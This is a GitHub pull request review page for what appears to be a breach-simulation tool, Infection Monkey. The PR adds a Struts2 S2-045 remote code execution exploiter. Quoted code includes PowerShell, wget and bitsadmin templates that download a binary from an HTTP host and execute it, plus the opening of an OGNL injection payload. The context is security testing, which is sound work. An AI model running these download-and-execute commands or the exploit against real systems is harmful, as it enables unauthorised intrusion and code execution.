-
Notifications
You must be signed in to change notification settings - Fork 764
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Struts2 rce #146
Struts2 rce #146
Conversation
infection_monkey/exploit/struts2.py
Outdated
LOG = logging.getLogger(__name__) | ||
|
||
ID_STRING = "M0NK3YSTRUTS2" | ||
MONKEY_ARG = "m0nk3y" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Use the globals we have under model\__init__.py
and add generic stuff to there.
Also use the dropper arg rather than monkey, that solves your timeout problem in running the command.
infection_monkey/exploit/struts2.py
Outdated
MONKEY_ARG = "m0nk3y" | ||
# Commands used for downloading monkeys | ||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) | ||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why do you assume we have sudo and why does chmod need that?
infection_monkey/exploit/struts2.py
Outdated
# Commands used to check if monkeys already exists | ||
EXISTS = "ls %s" | ||
|
||
WEB_PORTS = [80, 443, 8080] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Exists under config, HTTP_PORTS
infection_monkey/exploit/struts2.py
Outdated
except AttributeError: | ||
# If url does not exist | ||
return False | ||
except httplib.IncompleteRead, e: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lets use modern exception syntax, as e
infection_monkey/exploit/struts2.py
Outdated
|
||
def exploit_host(self): | ||
# Initializing vars for convenience | ||
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why not reuse what the http fingerprint module provides us? See how the shellshock module implemented this
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I used what I found in rdp grinder. Also, seemed elegant enough not to search elsewhere
infection_monkey/exploit/struts2.py
Outdated
|
||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) | ||
|
||
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What happens if Powershell isn't usable? Can we check for that?
Alternate option, make sure we're talking about Windows Server 2008 R2+ or Win8+ to make sure Powershell is installed and usable.
infection_monkey/exploit/struts2.py
Outdated
""" | ||
page = "" | ||
|
||
payload = "%{(#_='multipart/form-data')." |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd rather shift this to some const string and build this with string formatting, will be faster/cleaner.
infection_monkey/exploit/struts2.py
Outdated
except httplib.IncompleteRead, e: | ||
page = e.partial | ||
except Exception: | ||
LOG.info("Request timed out, because monkey is still running on remote host") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Doesn't fit as an error message for generic function
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Couldn't find propper error handling for timeout. Any help?
infection_monkey/exploit/struts2.py
Outdated
def exploit_host(self): | ||
# Initializing vars for convenience | ||
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) | ||
dropper_path_linux = self._config.dropper_target_path_linux |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why no option for 32bit/64bit linux path?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Because there are no options in self._config. If everything else creates only /temp/monkey and my code starts creating /temp/monkey32 or 64 it's rather unconsistant, don't you think?
infection_monkey/exploit/struts2.py
Outdated
LOG.info("Host is exploitable with struts2 RCE vulnerability") | ||
# If monkey already exists and option not to exploit in that case is selected | ||
if self.skip_exist and self.check_remote_file(url, dropper_path): | ||
return True |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd rather add a quick logging line to help us understand what happens in this case. Also note the same issue exists in Windows
@@ -4,6 +4,7 @@ | |||
|
|||
MONKEY_ARG = "m0nk3y" | |||
DROPPER_ARG = "dr0pp3r" | |||
ID_STRING = "M0NK3Y3XPL0ITABLE" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If this is unique to the struts attack, what is it doing here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In my case if the payload is wrong we get the whole page. To know that payload wasn't wrong and we in fact could exploit, we need to look for as unique as possible string(ID STRING). This string may be used for other purposes or other exploits that share the same problem
infection_monkey/model/__init__.py
Outdated
# Commands used for downloading monkeys | ||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) | ||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) | ||
RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
RDP_CMDLINE_HTTP_BITS and RDP_CMDLINE_HTTP_BITS_DROPPER
Sounds like you need
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s'
and have two other consts, otherwise we're having the same magic string twice.
|
||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) | ||
|
||
command = WGET_HTTP % {'monkey_path': dropper_path, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think we'd be better off splitting this into three parts (see Shellshock) so if we fail we have better logging of which part failed.
Feature
Struts2 remote code execution exploitation added:
https://cwiki.apache.org/confluence/display/WW/S2-045
Tested on windows 10 and ubuntu(struts2 2.3.15.1 and tomcat 9.0.0.M9)
Changes
Monkey can now propagate using above mentioned vulnerability and if it does
so successfully, warnings and recomendations are shown in report